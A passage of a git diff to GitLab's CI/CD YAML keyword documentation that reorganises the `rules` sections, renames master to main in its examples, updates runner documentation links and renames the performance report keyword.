multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules). The job is added to the pipeline: -- If a rule matches and has `when: on_success`, `when: delayed` or `when: always`. -- If no rules match, but the last clause is `when: on_success`, `when: delayed` - or `when: always` (with no rule). +- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default), + `when: delayed`, or `when: always`. +- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`. The job is not added to the pipeline: -- If no rules match, and there is no standalone `when: on_success`, `when: delayed` or - `when: always`. -- If a rule matches, and has `when: never` as the attribute. - -The following example uses `if` to strictly limit when jobs run: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - when: manual - allow_failure: true - - if: '$CI_PIPELINE_SOURCE == "schedule"' -``` - -- If the pipeline is for a merge request, the first rule matches, and the job - is added to the [merge request pipeline](../merge_request_pipelines/index.md) - with attributes of: - - `when: manual` (manual job) - - `allow_failure: true` (the pipeline continues running even if the manual job is not run) -- If the pipeline is **not** for a merge request, the first rule doesn't match, and the - second rule is evaluated. -- If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. No attributes were defined, so it is added - with: - - `when: on_success` (default) - - `allow_failure: false` (default) -- In **all other cases**, no rules match, so the job is **not** added to any other pipeline. - -Alternatively, you can define a set of rules to exclude jobs in a few cases, but -run them in all other cases: - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - when: never - - if: '$CI_PIPELINE_SOURCE == "schedule"' - when: never - - when: on_success -``` - -- If the pipeline is for a merge request, the job is **not** added to the pipeline. -- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline. -- In **all other cases**, the job is added to the pipeline, with `when: on_success`. - -WARNING: -If you use a `when:` clause as the final rule (not including `when: never`), two -simultaneous pipelines may start. Both push pipelines and merge request pipelines can -be triggered by the same event (a push to the source branch for an open merge request). -See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines) -for more details. - -#### Avoid duplicate pipelines - -If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger -multiple pipelines. You don't have to explicitly configure rules for multiple types -of pipeline to trigger them accidentally. - -Some configurations that have the potential to cause duplicate pipelines cause a -[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3. - -For example: - -```yaml -job: - script: echo "This job creates double pipelines!" - rules: - - if: '$CUSTOM_VARIABLE == "false"' - when: never - - when: always -``` - -This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all** -other pipelines, including **both** push (branch) and merge request pipelines. With -this configuration, every push to an open merge request's source branch -causes duplicated pipelines. - -To avoid duplicate pipelines, you can: - -- Use [`workflow`](#workflow) to specify which types of pipelines - can run. -- Rewrite the rules to run the job only in very specific cases, - and avoid a final `when:` rule: - - ```yaml - job: - script: echo "This job does NOT create double pipelines!" - rules: - - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' - ``` - -You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch) -pipelines or merge request pipelines. However, if you use a `- when: always` rule without -`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings). - -For example, the following does not trigger double pipelines, but is not recommended -without `workflow: rules`: - -```yaml -job: - script: echo "This job does NOT create double pipelines!" - rules: - - if: '$CI_PIPELINE_SOURCE == "push"' - when: never - - when: always -``` - -You should not include both push and merge request pipelines in the same job without -[`workflow:rules` that prevent duplicate pipelines](#switch-between-branch-pipelines-and-merge-request-pipelines): - -```yaml -job: - script: echo "This job creates double pipelines!" - rules: - - if: '$CI_PIPELINE_SOURCE == "push"' - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' -``` - -Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline. -It may not cause YAML errors, but the different default behaviors of `only/except` -and `rules` can cause issues that are difficult to troubleshoot: - -```yaml -job-with-no-rules: - script: echo "This job runs in branch pipelines." - -job-with-rules: - script: echo "This job runs in merge request pipelines." - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' -``` - -For every change pushed to the branch, duplicate pipelines run. One -branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline -runs the other job (`job-with-rules`). Jobs with no rules default -to [`except: merge_requests`](#only--except), so `job-with-no-rules` -runs in all cases except merge requests. +- If no rules match. +- If a rule matches and has `when: never`. #### `rules:if` @@ -1318,110 +1148,61 @@ Use `rules:if` clauses to specify when to add a job to a pipeline: - If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. - If no `if` statements are true, do not add the job to the pipeline. -`rules:if` differs slightly from `only:variables` by accepting only a single -expression string per rule, rather than an array of them. Any set of expressions to be -evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) -by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions). - -Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) -sections, variables in rules expressions are always formatted as `$VARIABLE`. - `if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) or [custom CI/CD variables](../variables/README.md#custom-cicd-variables). -For example: +**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job +to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior. + +**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions). + +**Example of `rules:if`**: ```yaml job: script: echo "Hello, Rules!" rules: - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' - when: always + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH' + when: never - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' when: manual allow_failure: true - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' ``` -Some details regarding the logic that determines the `when` for the job: +**Additional details**: -- If none of the provided rules match, the job is set to `when: never` and is - not included in the pipeline. -- A rule without any conditional clause, such as a `when` or `allow_failure` - rule without `if` or `changes`, always matches, and is always used if reached. - If a rule matches and has no `when` defined, the rule uses the `when` defined for the job, which defaults to `on_success` if not defined. - You can define `when` once per rule, or once at the job-level, which applies to all rules. You can't mix `when` at the job-level with `when` in rules. +- Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) + sections, variables in rules expressions are always formatted as `$VARIABLE`. -##### Common `if` clauses for `rules` - -For behavior similar to the [`only`/`except` keywords](#only--except), you can -check the value of the `$CI_PIPELINE_SOURCE` variable: - -| Value | Description | -|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | -| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | -| `external` | When you use CI services other than GitLab. | -| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | -| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | -| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | -| `push` | For pipelines triggered by a `git push` event, including for branches and tags. | -| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | -| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | -| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | -| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). | - -The following example runs the job as a manual job in scheduled pipelines or in push -pipelines (to branches or tags), with `when: on_success` (default). It does not -add the job to any other pipeline type. - -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "schedule"' - when: manual - allow_failure: true - - if: '$CI_PIPELINE_SOURCE == "push"' -``` +**Related topics**: -The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md) -and scheduled pipelines. It does not run in any other pipeline type. +- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules). +- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines). -```yaml -job: - script: echo "Hello, Rules!" - rules: - - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - - if: '$CI_PIPELINE_SOURCE == "schedule"' -``` +#### `rules:changes` -Other commonly used variables for `if` clauses: +Use `rules:changes` to specify when to add a job to a pipeline by checking for changes +to specific files. -- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag. -- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. -- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`. -- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch. Use when you want to have the same configuration in multiple - projects with different default branches. -- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. -- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables) - `CUSTOM_VARIABLE` does **not** match a regular expression. -- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is - exactly `value1`. +WARNING: +You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**. +You can use `rules: changes` with other pipeline types, but `rules: changes` always +evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, +and so on do **not** have a Git `push` event associated with them. A `rules: changes` job +is **always** added to those pipelines if there is no `if:` that limits the job to +branch or merge request pipelines. -#### `rules:changes` +**Keyword type**: Job keyword. You can use it only as part of a job. -Use `rules:changes` to specify when to add a job to a pipeline by checking for -changes to specific files. +**Possible inputs**: An array of file paths. In GitLab 13.6 and later, +[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). -`rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). -It accepts an array of paths. You should use `rules: changes` only with branch -pipelines or merge request pipelines. For example, it's common to use `rules: changes` -with merge request pipelines: +**Example of `rules:changes`**: ```yaml docker build: @@ -1434,61 +1215,28 @@ docker build: allow_failure: true ``` -In this example: - - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. - If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline continues running even if the job is not triggered (`allow_failure: true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). -To use `rules: changes` with branch pipelines instead of merge request pipelines, -change the `if:` clause in the previous example to: - -```yaml -rules: - - if: $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH -``` - -To implement a rule similar to [`except:changes`](#onlychanges--exceptchanges), -use `when: never`. - -WARNING: -You can use `rules: changes` with other pipeline types, but it is not recommended -because `rules: changes` always evaluates to true when there is no Git `push` event. -Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event -associated with them. A `rules: changes` job is **always** added to those pipeline -if there is no `if:` statement that limits the job to branch or merge request pipelines. - -##### Variables in `rules:changes` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. - -You can use CI/CD variables in `rules:changes` expressions to determine when -to add jobs to a pipeline: - -```yaml -docker build: - variables: - DOCKERFILES_DIR: 'path/to/files/' - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - changes: - - $DOCKERFILES_DIR/* -``` +**Additional details**: -You can use the `$` character for both variables and paths. For example, if the -`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the -`$` is interpreted as being part of a path. +- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). +- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges). #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. Use `exists` to run a job when certain files exist in the repository. -You can use an array of paths. -In the following example, `job` runs if a `Dockerfile` exists anywhere in the repository: +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`) +and can't directly link outside it. File paths can use glob patterns. + +**Example of `rules:exists`**: ```yaml job: @@ -1498,47 +1246,50 @@ job: - Dockerfile ``` -Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. - -You can use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) -patterns to match multiple files in any directory -in the repository: +`job` runs if a `Dockerfile` exists anywhere in the repository. -```yaml -job: - script: bundle exec rspec - rules: - - exists: - - spec/**.rb -``` - -Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) -with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. +**Additional details**: -For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns. After the 10,000th check, rules with patterned globs always match. +- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) + with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. +- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or + file paths. After the 10,000th check, rules with patterned globs always match. + In other words, the `exists` rule always assumes a match in projects with more + than 10,000 files. #### `rules:allow_failure` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to -wait for action, without stopping the pipeline itself. All jobs that use `rules:` default to `allow_failure: false` -if you do not define `allow_failure:`. +Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail +without stopping the pipeline. + +You can also use `allow_failure: true` with a manual job. The pipeline continues +running without waiting for the result of the manual job. `allow_failure: false` +combined with `when: manual` in rules causes the pipeline to wait for the manual +job to run before continuing. + +**Keyword type**: Job keyword. You can use it only as part of a job. -The rule-level `rules:allow_failure` option overrides the job-level -[`allow_failure`](#allow_failure) option, and is only applied when -the particular rule triggers the job. +**Possible inputs**: `true` or `false`. Defaults to `false` if not defined. + +**Example of `rules:allow_failure`**: ```yaml job: script: echo "Hello, Rules!" rules: - - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' + - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH' when: manual allow_failure: true ``` -In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`. +If the rule matches, then the job is a manual job with `allow_failure: true`. + +**Additional details**: + +- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure), + and only applies when the specific rule triggers the job. #### `rules:variables` @@ -1547,14 +1298,18 @@ In this example, if the first rule matches, then the job has `when: manual` and Use [`variables`](#variables) in `rules:` to define variables for specific conditions. -For example: +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`. + +**Example of `rules:variables`**: ```yaml job: variables: DEPLOY_VARIABLE: "default-deploy" rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: # Override DEPLOY_VARIABLE defined DEPLOY_VARIABLE: "deploy-production" # at the job level. - if: $CI_COMMIT_REF_NAME =~ /feature/ @@ -1565,50 +1320,6 @@ job: - echo "Run another script if $IS_A_FEATURE exists" ``` -#### Complex rule clauses - -To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the -same rule. - -In the following example: - -- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value", - then the job runs manually -- Otherwise, the job isn't included in the pipeline. - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - if: '$VAR == "string value"' - changes: # Include the job and set to when:manual if any of the follow paths match a modified file. - - Dockerfile - - docker/scripts/* - when: manual - # - "when: never" would be redundant here. It is implied any time rules are listed. -``` - -Keywords such as `branches` or `refs` that are available for -`only`/`except` are not available in `rules`. They are being individually -considered for their usage and behavior in this context. Future keyword improvements -are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783), -where anyone can add suggestions or requests. - -You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||` to build more complicated variable expressions. -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3: - -```yaml -job1: - script: - - echo This rule uses parentheses. - rules: - if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE -``` - -WARNING: -[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), -rules that use both `||` and `&&` may evaluate with an unexpected order of operations. - ### `only` / `except` NOTE: @@ -1722,7 +1433,7 @@ to a pipeline, based on the status of [CI/CD variables](../variables/README.md). **Keyword type**: Job keyword. You can use it only as part of a job. -**Possible inputs**: An array of [CI/CD variable expressions](../variables/README.md#cicd-variable-expressions). +**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions). **Example of `only:variables`**: @@ -1968,12 +1679,12 @@ build_job: needs: - project: namespace/group/project-name job: build-1 - ref: master + ref: main artifacts: true ``` `build_job` downloads the artifacts from the latest successful `build-1` job -on the `master` branch in the `group/project-name` project. If the project is in the +on the `main` branch in the `group/project-name` project. If the project is in the same group or namespace, you can omit them from the `project:` keyword. For example, `project: group/project-name` or `project: project-name`. @@ -2069,14 +1780,7 @@ To download artifacts from a job in the current pipeline, use the basic form of #### Optional `needs` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10. -> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 13.11. -> - Enabled on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-optional-needs). **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0. To need a job that sometimes does not exist in the pipeline, add `optional: true` to the `needs` configuration. If not defined, `optional: false` is the default. @@ -2091,9 +1795,9 @@ error similar to: In this example: -- When the branch is `master`, the `build` job exists in the pipeline, and the `rspec` +- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec` job waits for it to complete before starting. -- When the branch is not `master`, the `build` job does not exist in the pipeline. +- When the branch is not the default branch, the `build` job does not exist in the pipeline. The `rspec` job runs immediately (similar to `needs: []`) because its `needs` relationship to the `build` job is optional. @@ -2101,7 +1805,7 @@ In this example: build: stage: build rules: - - if: $CI_COMMIT_REF_NAME == "master" + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH rspec: stage: test @@ -2110,25 +1814,6 @@ rspec: optional: true ``` -#### Enable or disable optional needs **(FREE SELF)** - -Optional needs is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_needs_optional) -``` - -To disable it: - -```ruby -Feature.disable(:ci_needs_optional) -``` - ### `tags` Use `tags` to select a specific runner from the list of all runners that are @@ -2355,8 +2040,8 @@ To protect a manual job: name: production url: https://example.com when: manual - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` 1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments), @@ -2416,7 +2101,7 @@ For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: production ``` @@ -2438,7 +2123,7 @@ Set a name for an [environment](../environments/index.md). For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: name: production ``` @@ -2473,7 +2158,7 @@ Set a URL for an [environment](../environments/index.md). For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: name: production url: https://prod.example.com @@ -3303,8 +2988,8 @@ Create artifacts only for tags (`default-job` doesn't create artifacts): default-job: script: - mvn test -U - except: - - tags + rules: + - if: $CI_COMMIT_BRANCH release-job: script: @@ -3312,8 +2997,8 @@ release-job: artifacts: paths: - target/*.war - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: @@ -3329,7 +3014,7 @@ job: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 > - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's enabled on GitLab.com. +> - It's disabled on GitLab.com. > - It's recommended for production use. Use `artifacts:public` to determine whether the job artifacts should be @@ -3500,22 +3185,6 @@ concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). -##### `artifacts:reports:license_management` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -WARNING: -This artifact is still valid but is **deprecated** in favor of the -[artifacts:reports:license_scanning](#artifactsreportslicense_scanning) -introduced in GitLab 12.8. - -The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) -as artifacts. - -The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - ##### `artifacts:reports:license_scanning` **(ULTIMATE)** > - Introduced in GitLab 12.8. @@ -3547,12 +3216,13 @@ as artifacts. The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. -##### `artifacts:reports:performance` **(PREMIUM)** +##### `artifacts:reports:browser_performance` **(PREMIUM)** > - Introduced in GitLab 11.5. > - Requires GitLab Runner 11.5 and above. +> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0. -The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) +The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) as artifacts. The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. @@ -3762,7 +3432,7 @@ Possible values for `when` are: - `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner. - `data_integrity_failure`: Retry if there is a structural integrity problem detected. -You can specify the number of [retry attempts for certain stages of job execution](../runners/README.md#job-stages-attempts) using variables. +You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables. ### `timeout` @@ -4065,7 +3735,7 @@ child-pipeline: trigger: include: - project: 'my-group/my-pipeline-library' - ref: 'master' + ref: 'main' file: '/path/to/child-pipeline.yml' ``` @@ -4240,7 +3910,7 @@ finishes. ### `release` -> [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2. Use `release` to create a [release](../../user/project/releases/index.md). Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs) @@ -4407,7 +4077,10 @@ job: description: 'Release description' ``` -It is also possible to create any unique tag, in which case `only: tags` is not mandatory. +It is also possible for the release job to automatically create a new unique tag. In that case, +do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to +only run for tags. + A semantic versioning example: ```yaml @@ -4663,8 +4336,8 @@ pages: artifacts: paths: - public - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` View the [GitLab Pages user documentation](../../user/project/pages/index.md). @@ -4807,7 +4480,7 @@ You can use [YAML anchors for variables](#yaml-anchors-for-variables). > [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. -Use the `value` and `description` keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): ```yaml @@ -4817,23 +4490,25 @@ variables: description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` +You cannot set job-level variables to be pre-filled when you run a pipeline manually. + ### Configure runner behavior with variables You can use [CI/CD variables](../variables/README.md) to configure how the runner processes Git requests: -- [`GIT_STRATEGY`](../runners/README.md#git-strategy) -- [`GIT_SUBMODULE_STRATEGY`](../runners/README.md#git-submodule-strategy) -- [`GIT_CHECKOUT`](../runners/README.md#git-checkout) -- [`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) -- [`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) -- [`GIT_DEPTH`](../runners/README.md#shallow-cloning) (shallow cloning) -- [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) (custom build directories) -- [`TRANSFER_METER_FREQUENCY`](../runners/README.md#artifact-and-cache-settings) (artifact/cache meter update frequency) -- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (artifact archiver compression level) -- [`CACHE_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (cache archiver compression level) +- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) +- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy) +- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout) +- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) +- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) +- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning) +- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories) +- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency) +- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level) +- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level) You can also use variables to configure how many times a runner -[attempts certain stages of job execution](../runners/README.md#job-stages-attempts). +[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts). ## YAML-specific features diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md index 2993e077268..266b35bd27f 100644 --- a/doc/ci/yaml/gitlab_ci_yaml.md +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference --- diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index ec5934924fa..549a6fb964b 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -26,7 +26,7 @@ Array with `include` method implied: ```yaml include: - - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - '/templates/.after-script-template.yml' ``` @@ -34,21 +34,21 @@ Single string with `include` method specified explicitly: ```yaml include: - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' ``` Array with `include:remote` being the single item: ```yaml include: - - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' ``` Array with multiple `include` methods specified explicitly: ```yaml include: - - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - local: '/templates/.after-script-template.yml' - template: Auto-DevOps.gitlab-ci.yml ``` @@ -57,11 +57,11 @@ Array mixed syntax: ```yaml include: - - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - '/templates/.after-script-template.yml' - template: Auto-DevOps.gitlab-ci.yml - project: 'my-group/my-project' - ref: master + ref: main file: '/templates/.gitlab-ci-template.yml' ``` @@ -70,7 +70,7 @@ include: In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. -Content of 